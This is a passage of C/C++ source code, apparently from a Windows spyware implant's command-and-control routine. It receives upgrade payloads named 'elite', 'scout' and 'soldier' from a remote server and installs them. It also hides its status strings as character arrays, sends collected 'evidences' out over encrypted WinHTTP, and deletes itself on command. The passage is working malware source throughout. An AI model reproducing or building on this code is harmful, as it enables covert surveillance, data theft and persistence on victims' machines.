pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen); #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName); OutputDebugString(pDebugString); free(pDebugString); #endif ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen); PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG); //if (!wcscmp(pUpgradeName, L"elite")) if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l') { if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength)) uGonnaDie = 1; else { WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"scout")) if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c') { if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o') { if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"recover")) //if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e') //{ // if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength)) // { // WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' }; // SendInfo(pMessage); // } //} free(pUpgradeName); free(pHttpUpgradeBuffer); } } } free(pHttpResponseBuffer); if (SendEvidences()) bRetVal = TRUE; // send BYE #ifdef _DEBUG OutputDebugString(L"[*] Sending PROTO_BYE\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); #ifdef _DEBUG else OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n"); #endif if (uGonnaDie == 1) { WinHTTPClose(); DeleteAndDie(TRUE); } free(pProtoMessage); free(pInstanceId); free(pRandomData); return bRetVal; }